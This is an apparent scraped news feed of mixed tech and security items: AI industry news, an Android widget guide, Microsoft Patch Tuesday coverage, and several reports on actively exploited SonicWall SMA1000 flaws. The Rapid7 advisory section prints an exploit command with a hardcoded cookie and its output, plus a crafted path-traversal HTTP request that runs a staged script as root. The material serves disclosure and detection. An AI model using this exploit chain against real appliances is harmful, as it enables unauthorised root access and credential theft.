When Mira Murati departed OpenAI in late 2024 to found Thinking Machines alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.

By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the impending release of a product with a "significant open source component" to empower researchers and startups.

The company’s philosophy began coming into sharper focus in October 2025 with the launch of Tinker, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.

That same month, Thinking Machines researcher Rafael Rafailov delivered a provocative critique of the AI industry at TED AI. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in try/except blocks—because they are trained strictly for task completion rather than genuine learning.

Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.

In May 2026, the lab teased its technical prowess with the research preview of TML-Interaction-Small, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.

Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.

Artificial Intelligence

Wed, 15 Jul 2026 23:02:40 +0200

DeepMind CEO again pushes for a frontier AI standards body

Demis Hassabis argues that a US government-led industry effort is needed to keep AGI-like developments safe; analysts aren’t so sure.

By Evan Schuman

Jul 15, 20268 mins

Artificial IntelligenceGovernmentLaws and Regulations

Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers

By Evan Schuman

Jul 15, 20265 mins

AppleGovernmentLaws and Regulations

Articles

OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’

Analysts and consultants applaud the move as potentially delivering the development consistency that the current offerings lack, but some worry that treating the company as neutral is a mistake.

By Evan Schuman

Jul 13, 2026 8 mins

Artificial IntelligenceGenerative AINonprofits

AI is killing low cost smartphones

Data from Omdia and Counterpoint shows that while Apple and Samsung thrive, the rest of the industry takes a dive

By Jonny Evans

Jul 13, 2026 5 mins

AppleMobile PhonesSmartphones

Meta pulls Instagram AI feature amid privacy concerns

By specifying a public account, users could allow the AI model to use the person’s images as a reference without the account holder being notified.

By Viktor Eriksson

Jul 13, 2026 1 min

Artificial IntelligenceGenerative AIInstagram

Q&A: How Google plans to reinvent the spreadsheet with AI

Soon, Google wants to see AI doing the spreadsheet busywork, says Eric Birnbaum, director of product management for Google Sheets.

By Matthew Finnegan

Jul 13, 2026 10 mins

Generative AIGoogle SheetsGoogle Workspace

Physical AI will see the fusion of robotics and AI transform the world

By tether

Jul 9, 2026 6 mins

Artificial Intelligence

‘Rotten to its core’ — Apple files an explosive lawsuit against OpenAI

Apple accuses OpenAI and former Apple Vice President Tang Tan of extensive coordinated data theft and asks whether OpenAI’s hardware plans are based around exfiltrated Apple info.

By Jonny Evans

Jul 11, 2026 6 mins

AppleArtificial IntelligenceGenerative AI

Apple is prepping for life after the AI gold rush

The company's interest in compression of AI models is the right approach.

By Jonny Evans

Jul 11, 2026 6 mins

AppleArtificial IntelligenceGenerative AI

Microsoft Exchange Server on prem gets a little harder to use

The lightweight web client is going away, placing more demands on systems still clinging to Microsoft’s on-prem email system.

By Maxwell Cooter

Jul 10, 2026 2 mins

Email ClientsMicrosoft ExchangeMicrosoft Outlook

Mistral joins rush to build physical AI

Its Robostral Navigate AI model needs input from just one color camera, doing without Lidar, depth sensors, or multiple viewpoints.

By Maxwell Cooter

Jul 10, 2026 2 mins

Artificial IntelligenceRobotics

Apple will buy more US-made components from Broadcom

Chips and thin-film bulk acoustic resonator (FBAR) filters are on the menu.

By Maxwell Cooter

Jul 10, 2026 2 mins

AppleNetworkingWi-Fi

Meta launches low-cost Muse Spark 1.1 as enterprise AI spending comes under scrutiny

Meta says the model delivers competitive performance against OpenAI, Anthropic, and Google offerings while costing a fraction as much to run.

By Anirban Ghoshal

Jul 10, 2026 5 mins

Artificial IntelligenceGenerative AI

The ultimate guide to Android contacts management

Your Android phone's contacts are much more than just a glorified Rolodex. Ready for an unexpected productivity upgrade?

By JR Raphael

Jul 10, 2026 16 mins

AndroidGoogleProductivity Software

OpenAI launches ChatGPT Work as it broadens GPT-5.6 rollout

The enterprise AI agent combines ChatGPT, Codex, and GPT-5.6 to automate workplace tasks as OpenAI broadens rollout of its latest frontier models.

By Gyana Swain

Jul 10, 2026 5 mins

Artificial IntelligenceGenerative AIProductivity Software

View all

Upcoming Events

Sep/24

CIO 100 Awards & Conference UK

24 Sep 2026London, UK

Microsoft 365

Nov/26

CSO Awards & Conference UK

26 Nov 2026London, UK

Cyberattacks

View all events

Show me more

Apple finally calls time on 15-year-old device support

By Jonny Evans

Jul 9, 20264 mins

AppleSmartphonesiPhone

Physical AI will see the fusion of robotics and AI transform the world

By tether

9 Jul 20266 mins

Artificial Intelligence

SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals

By Prasanth Aby Thomas

Jul 9, 20265 mins

Artificial IntelligenceDeveloperGenerative AI

Microsoft Copilot Growth, ClaudeBleed Risk, LinkedIn GDPR Complaint | Ep. 84

By Arnold Davick

May 22, 20262 mins

Artificial Intelligence

Chrome Gemini, AI Agents, CISA Infrastructure Cyber Resilience | Ep. 83

By Arnold Davick

May 22, 20262 mins

Artificial Intelligence

AI Triage Gains, Model Reviews, Ask Jeeves Shutdown | Ep. 82

By Arnold Davick

May 18, 20262 mins

Artificial Intelligence

Why AI agents could create a new control and security crisis

Jun 16, 202628 mins

Artificial IntelligenceGenerative AIIT Governance

Does quality suffer when AI generates code?

Jun 9, 202635 mins

Code SecurityDeveloperGenerative AI

What happens when AI starts selling to AI?

Jun 2, 202638 mins

Generative AIProcurement SoftwareSalesforce Automation

Israeli identity management startup Oak emerges from stealth with $60 million in seed funding.

Wed, 15 Jul 2026 22:08:35 +0200

Barracuda Networks has acquired Austin, Texas-based identity and access management provider Evo Security.

New Mac malware masquerades as Apple's crash reporter: 3 ways to dodge the threat

Wed, 15 Jul 2026 19:24:41 +0200

CrashStealer is now in the wild, targeting your data, passwords, and cryptocurrency. Here's everything you need to know about this new MacOS threat.

Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)

Wed, 15 Jul 2026 19:24:03 +0200

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

12.4.3-03245
12.4.3-03387
12.4.3-03434 (platform-hotfix)
12.5.0-02283
12.5.0-02624
12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188.

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product	Fixed Version
SMA1000 Series (6210, 7210, 8200v)	12.4.3-03453 (platform-hotfix) or later
SMA1000 Series (6210, 7210, 8200v)	12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

Performing a thorough forensic review for indicators of compromise.
Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.
Changing user and administrator passwords.
Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.
Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.
Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).
Authentication activity: Authentication-API activity against /__api__/logon//authenticate.
Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.
AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

45.131.194.0/24
45.146.54.0/24
63.135.161.0/24
173.239.211.0/24
193.37.32[.]179
193.37.32[.]214
216.73.163[.]151
216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

Microsoft Patches a Record 570 Security Flaws

Wed, 15 Jul 2026 17:07:29 +0200

An anonymous reader quotes a report from Krebs on Security: Microsoft today released software updates to plug at least 570 security holes in its Windows operating systems and other software, almost triple the number of vulnerabilities the software giant fixed in its record-smashing Patch Tuesday release last month. Microsoft attributed the burgeoning patch counts to vulnerability discoveries aided by artificial intelligence. Nearly 60 of the bugs quashed in July's Patch Tuesday earned a "critical" severity rating, meaning miscreants or malware could use them to seize remote control over a Windows device with little or no help from the user. Microsoft also addressed three zero-day flaws, including two that are already being exploited in the wild. Two of the zero-day weaknesses allow an attacker to elevate their user rights on a Windows system, as do approximately 250 other elevation of privilege flaws fixed this month; they include CVE-2026-56155 - an Active Directory Federation Services bug -- and CVE-2026-56164, a Microsoft Sharepoint vulnerability. CVE-2026-50661 is a security feature bypass in Windows BitLocker that could allow attackers to gain access to encrypted data if they have physical access to the device. Microsoft said this bug has been detailed publicly, but that it is not aware of any active exploitation. In a blog post on July 9, Microsoft Executive Vice President Pavan Davuluri wrote that Windows users will notice "a higher volume of security updates included in each security release" as a result of AI aiding in the discovery of vulnerabilities. "The pace of vulnerability discovery is changing with advances in AI making it possible to find more issues, faster, across more code, with new mechanisms that can accelerate both discovery and analysis," Davuluri wrote.

Read more of this story at Slashdot.

Vint Cerf is working on a plan to unleash AI agents on the open internet

Wed, 15 Jul 2026 14:02:33 +0200

The guy behind TCP/IP is working on a standard for identifying AI agents in the wild.

SonicWall SMA1000 Flaws Actively Exploited for SSRF and Remote Code Execution

Wed, 15 Jul 2026 12:39:04 +0200

SonicWall has issued an urgent security advisory (SNWLID-2026-0008) confirming active, in-the-wild exploitation of two critical vulnerabilities affecting its SMA1000 Series appliances. The flaws, tracked as CVE-2026-15409 and CVE-2026-15410, allow attackers to chain an unauthenticated SSRF bug with a post-authentication code injection flaw to achieve full remote code execution on affected devices. CVE-2026-15409 is a maximum-severity […]

The post SonicWall SMA1000 Flaws Actively Exploited for SSRF and Remote Code Execution appeared first on Cyber Security News.

5 wild ways to make Android widgets more useful

Wed, 15 Jul 2026 12:03:24 +0200

Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?

Okay, so maybe there has been — erm, lots of times, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google basically buried, abandoned, and left on the brink of extinction up until its overdue revival in 2021’s Android 12 update. (And that revival, by the way, happened for no apparent reason whatsoever. Just a totally random, unprompted change of heart after a decade of indifference. Riiiiiiiiight.)

Google may have given up on widgets for a while, but the good news is that (a) they’re back, baby — still now, more than ever, even in our overly AI-obsessed 2026 timeline — and (b) the Android developer community keeps chuggin’ along and coming up with ever-more creative new ways to embrace widgets beyond what Google itself sees fit to give us. That means no matter what Android version your favorite phone is running, you can step up your own Android widget game and give yourself some fresh and fruitful paths to make the most of your phone’s framework.

Here, my dear, are some fantastic beyond-the-basics ways to put your favorite Android widgets to use and change the way you get stuff done on your phone.

[Psst: Love learning new things? Get my free Android Intelligence newsletter to get a tasty new tip in your inbox every Friday.]

Android widget enhancement #1: The on-demand home screen pop-up

Widgets are a wonderful way to interact with all sorts of info without ever having to open up apps, but having too many widgets can quickly lead to a cluttered and overwhelming home screen.

Well, here’s a neat way to give yourself the benefit of a widget while still maintaining a neat and minimal space for working: An excellent app called Popup Widget lets you create an on-demand pop-up widget (get it?!) that looks like a regular ol’ icon on your home screen but then loads any widget you want when tapped.

See?

Any widget, anytime — with Popup Widget on Android.

JR Raphael, Foundry

You can even get really wild and set up a single icon that opens multiple widgets at the same time — like your inbox and your calendar together:

Popup Widget can even let you summon two widgets together with a single tap.

JR Raphael, Foundry

Not bad, right?

Popup Widget costs two bucks and doesn’t require any special permissions or manners of access. And it’s pretty simple and self-explanatory to set up: Once you install and open the app, it’ll walk you through adding in whatever pop-up widgets you want. You can choose the name and even the icon associated with each one along with its precise placement on your screen and how much the screen behind it should dim when it’s loaded.

The app will offer to add the shortcut directly onto your home screen for you then, or you can also find all of your Popup Widget creations by pressing and holding the main Popup Widget icon in your app drawer.

Alternatively, if you’re already using a custom Android launcher like Smart Launcher or Niagara, you can find similar options for summoning widgets on demand within their settings — no separate apps even required.

And that, my widget-loving wallaby, is but our first winning widget possibility.

Android widget enhancement #2: The on-demand universal pop-up

If you like the idea of having a widget on demand but would rather have it be available to summon from anywhere instead of just from your home screen, this next wacky widget option is just the thing for you.

It comes from a spectacular app called Edge Gestures, which works in conjunction with Popup Widget to take that same concept and make it universally accessible. (I told ya it was wacky!)

When you first install Edge Gestures, the app will prompt you to enable it as a system accessibility service and to grant it the ability to display over other apps. These permissions sound scary — and they should! — but in the case of this specific utility, they’re absolutely appropriate and necessary in order for it to operate. The former is the only way an app is able to create a custom system-wide gesture, which we need for this setup to work its magic, and the latter is how your widget is able to be shown on top of whatever else you’re doing.

(If you’re at all worried, note that Edge Gestures doesn’t request any other significant system permissions. Beyond that, it’s reputable, it’s been around for quite a long while, and it has a large number of overwhelmingly positive reviews.)

Where were we? Oh, right: Once you’re inside the Edge Gestures configuration area, you’ll be able to select exactly what gesture you want to use for pulling up your widget. I’d think carefully about finding something that won’t interfere with anything else, like the system-level Android gestures, and that’ll be convenient to access without being a command you’re likely to trigger by mistake.

So, for instance, you might make the gesture a simple swipe downward along the left side of your screen. To do that, you’d find the “Swipe down” option within the app’s “Left” tab, and you’d set it to “Popup Widget” — and then create or select whatever Popup Widget item you want. And remember: You can select one widget or multiple widgets, too.

Prepare yourself for some serious oohing and ahhing:

Your favorite widgets are never more than a swipe away with Edge Gestures on Android.

JR Raphael, Foundry

As you can see, this opens up a whole new world of mobile multitasking potential. I mean, really: How could you not love that?!

The final thing worth doing is going into all the other gesture options in that same configuration area and tapping “Clear” for each of ’em to get rid of Edge Gestures’ default actions. I’d also go into whichever side of the screen you aren’t using — left or right — and tap the toggle to turn the gestures for that side off entirely. That way, you won’t inadvertently activate any gestures that you don’t actually want or need.

Edge Gestures costs $2 to use.

Android widget enhancement #3: The physical key call

Next, here’s an interesting twist on that same on-demand Android widget idea: You can make any widget especially easy to access from anywhere without even having to mess around with any on-screen swiping by setting one of your phone’s physical keys as a trigger for the widget’s appearance.

I’ll give you a second to catch your breath and process the sheer splendor of that sorcery.

Back? Cool. So, the key to this feat (har har) is the combination of the aforementioned Popup Widget and a handy Android contraption called Key Mapper — which makes it easy to map your phone’s physical keys to all kinds of crazy custom actions.

In this case, we’ll set it up so that pressing and holding one of your volume keys causes whatever widget you want to be summoned, like so:

Yes, your volume key can cause a widget to appear (whoa!).

JR Raphael, Foundry

Pretty nifty, no?

I’ve got step-by-step instructions for making this happen in this separate guide.

Android widget enhancement #4: The floating bubble

If you like the notion of having a widget always available but aren’t so keen on the hidden gesture concept, an app called Overlays will let you create a small floating bubble that you can position anywhere on your screen and then tap to pull any widget up when you want it — just like with Android’s recently revived Bubbles multitasking system, only compatible with any Android device and version and with the simplicity of a widget instead of the complexity of an entire app.

Check it out:

Overlays puts a floating icon on your screen for easy ongoing widget access.

JR Raphael, Foundry

By default, Overlays gives you a bunch of its own little widgets to choose from, but the real power comes from adding in widgets from the Android apps you actually rely on. To do that, tap the “Triggers” tab at the bottom of the Overlays configuration area, then tap the red plus button in the lower-right corner of the screen. Select “Manual,” then type in whatever name you want for your widget and tap the icon to pick any icon you like.

Tap “Save,” then select “Widget” and find the widget you want from the list. At that point, you’ll see a preview of the widget. Move or resize it if you like, then hit the arrow in the upper-left corner of the screen to exit out of that interface. Last but not least, tap the name of your newly made widget on the screen that comes up next to change its status to “Always on.”

As soon as you head out of the app and back to your home screen, your fancy new widget should pop right up. All you’ve gotta do is tap the little downward-facing arrow in its corner to minimize it down to a bubble, which you can then press and hold to move anywhere your widget-worshipping heart desires.

Overlays can also create widgets that automatically appear based on context — so you could have something show up every time you connect to a certain Bluetooth device or Wi-Fi network, for instance. To explore those options, just follow the same steps from above but pick “Event” instead of “Manual” when you reach the “Triggers” tab configuration.

Overlays is free with an optional $4 in-app upgrade that removes some ads from the configuration tool and unlocks a handful of advanced features.

Android widget enhancement #5: The widget stack

Last but not least in our collection of wacky Android widget possibilities is one of my favorite widget wonders — and that’s the ability to stack multiple widgets and then swipe between ’em on your home screen without having ’em take up any extra space.

Check it out:

The space-saving simplicity of stacked widgets, as seen in Smart Launcher.

JR Raphael, Foundry

This enhancement presents a bit of a choose-your-own-adventure-style path:

First, if you’re using a reasonably recent Samsung Galaxy gizmo, the option is should already be present and available in your standard Samsung home screen setup. Just press and hold any open space on your home screen and then select the option to add a widget — then, once the widget is added, press and hold it and look for the “Create stack” command.

With any other Android gadget — or even with a Samsung device, if you want extra options and flexibility — you can use a custom Android launcher like the aforementioned Smart Launcher or Niagara as well as the retro-geeky T9-themed Key Launcher I introduced to you earlier this summer.

Those launchers replace your phone’s entire home screen environment and give you all sorts of interesting new possibilities for optimizing your interface and making it especially well-suited for you. And the stacked widget feature is just one small sliver of what they offer and how they’ll transform your Android experience.

The setup interface for a widget stack within Smart Launcher.

JR Raphael, Foundry

So there ya have it: five wacky, wild, wonderful ways to make widgets even more wow-inducing. Some days, you’ve just gotta love Android and the endless customization, control, and power it provides.

Put even more Googley goodness in your noggin with my free Android Intelligence newsletter — one exceptional new thing to try every Friday!

CISA Adds SonicWall SMA1000 Vulnerabilities to KEV Catalog Following Active Exploitation

Wed, 15 Jul 2026 11:35:35 +0200

Security researchers have identified two critical vulnerabilities, CVE-2026-15409 and CVE-2026-15410, affecting SonicWall SMA1000 Series appliances. The flaws are already being exploited in the wild, prompting urgent warnings from SonicWall and CISA. Successful exploitation could result in Remote Code Execution, bypass of security restrictions, and broader compromise of affected systems. The vulnerabilities impact SonicWall SMA1000 models 6210, 7210, and 8200v running versions 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 (platform-hotfix), 12.5.0-02283, 12.5.0-02624, and 12.5.0-02800 (platform-hotfix).

CVE-2026-15409 and CVE-2026-15410 Explained

CVE-2026-15409 is a server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. According to SonicWall, an unauthenticated remote attacker could force the appliance to send requests to unintended locations. The flaw carries a CVSS v3 score of 10.0 with the vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H and is mapped to CWE-918. CVE-2026-15410 is a post-authentication code injection vulnerability in the SMA1000 Appliance Management Console (AMC). Under specific conditions, a remote authenticated attacker with administrator privileges could execute arbitrary operating system commands, enabling Remote Code Execution. The vulnerability has a CVSS score of 7.2, uses the vector CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, and is associated with CWE-94.

Active Exploitation and Impact

SonicWall confirmed that CVE-2026-15409 and CVE-2026-15410 are being actively exploited. The advisory states, "SonicWall PSIRT has investigated multiple cases indicating the active exploitation of the vulnerabilities described in this advisory. Customers are strongly urged to upgrade to the hotfix release as soon as possible to remediate these vulnerabilities." The vulnerabilities may allow Remote Code Execution and bypass of security restrictions, increasing the risk of unauthorized system access.

Fixed Versions and Detection Guidance

SonicWall has released fixes in 12.4.3-03453 (platform-hotfix) and later, and 12.5.0-02835 (platform-hotfix) and later. The company noted that these issues do not affect SSL-VPN running on SonicWall firewalls or the SMA 100 Series product line. Administrators are advised to inspect extraweb_access.log for HTTP 200 requests to /api/login or /api/logout, suspicious /wsproxy requests returning HTTP 101, ctrl-service.log entries indicating hotfix rollbacks with path traversal names, and unauthorized /api/login or /api/logout routes in /var/lib/unit/conf.json. If indicators of compromise are found, SonicWall recommends re-imaging hardware appliances or redeploying virtual appliances, changing user and administrator passwords, and resetting TOTP tokens after performing a forensic investigation. The advisory, SNWLID-2026-0008, was first published and last updated on July 14, 2026. The vulnerabilities were internally discovered by Adam Babis of SonicWall PSIRT, while Sean Koessel and Steven Adair of Volexity were credited in Version 1.1 for helping identify an additional indicator of compromise during the investigation. On the same day, CISA added the vulnerabilities to its Known Exploited Vulnerabilities Catalog.

Critical Vulnerabilities Patched With Fresh Chrome 150, Firefox 152 Updates

Wed, 15 Jul 2026 09:53:40 +0200

Public exploit code targeting the Firefox flaws exists, but no in-the-wild exploitation has been observed.

The post Critical Vulnerabilities Patched With Fresh Chrome 150, Firefox 152 Updates appeared first on SecurityWeek.

Critical SonicWall SMA 1000 SSRF and Remote Code Execution Flaws Actively Exploited in the Wild

Wed, 15 Jul 2026 08:52:05 +0200

SonicWall has issued a security advisory regarding two vulnerabilities affecting the SMA1000 Series appliances. Among these, a critical server-side request forgery (SSRF) flaw has been identified, which carries a maximum CVSS score of 10.0. The company has confirmed that threat actors are actively exploiting these vulnerabilities, increasing the urgency for enterprises that rely on these […]

The post Critical SonicWall SMA 1000 SSRF and Remote Code Execution Flaws Actively Exploited in the Wild appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Microsoft Active Directory Services 0-Day Vulnerability Actively Exploited in the Wild

Wed, 15 Jul 2026 08:08:04 +0200

Microsoft has released security updates for CVE-2026-56155, an actively exploited elevation-of-privilege vulnerability in Active Directory Federation Services (AD FS). This flaw allows an authenticated local attacker with low privileges to gain administrator-level access on affected systems. CVE-2026-56155 stems from insufficient…

The post Microsoft Active Directory Services 0-Day Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

Microsoft Patch Tuesday July 2026 – Record 570 Vulnerabilities Patched

Wed, 15 Jul 2026 07:53:04 +0200

In July 2026, Microsoft addressed a record total of 570 vulnerabilities, including three zero-days, two of which were exploited in the wild and one that was publicly disclosed. The release includes 59 Critical vulnerabilities, with Remote Code Execution (RCE) flaws…

The post Microsoft Patch Tuesday July 2026 – Record 570 Vulnerabilities Patched appeared first on IT Security News.

Microsoft Active Directory Services 0-Day Vulnerability Actively Exploited in the Wild

Wed, 15 Jul 2026 07:23:28 +0200

The post Microsoft Active Directory Services 0-Day Vulnerability Actively Exploited in the Wild appeared first on Cyber Security News.

Microsoft Patch Tuesday July 2026 – Record 570 Vulnerabilities Patched

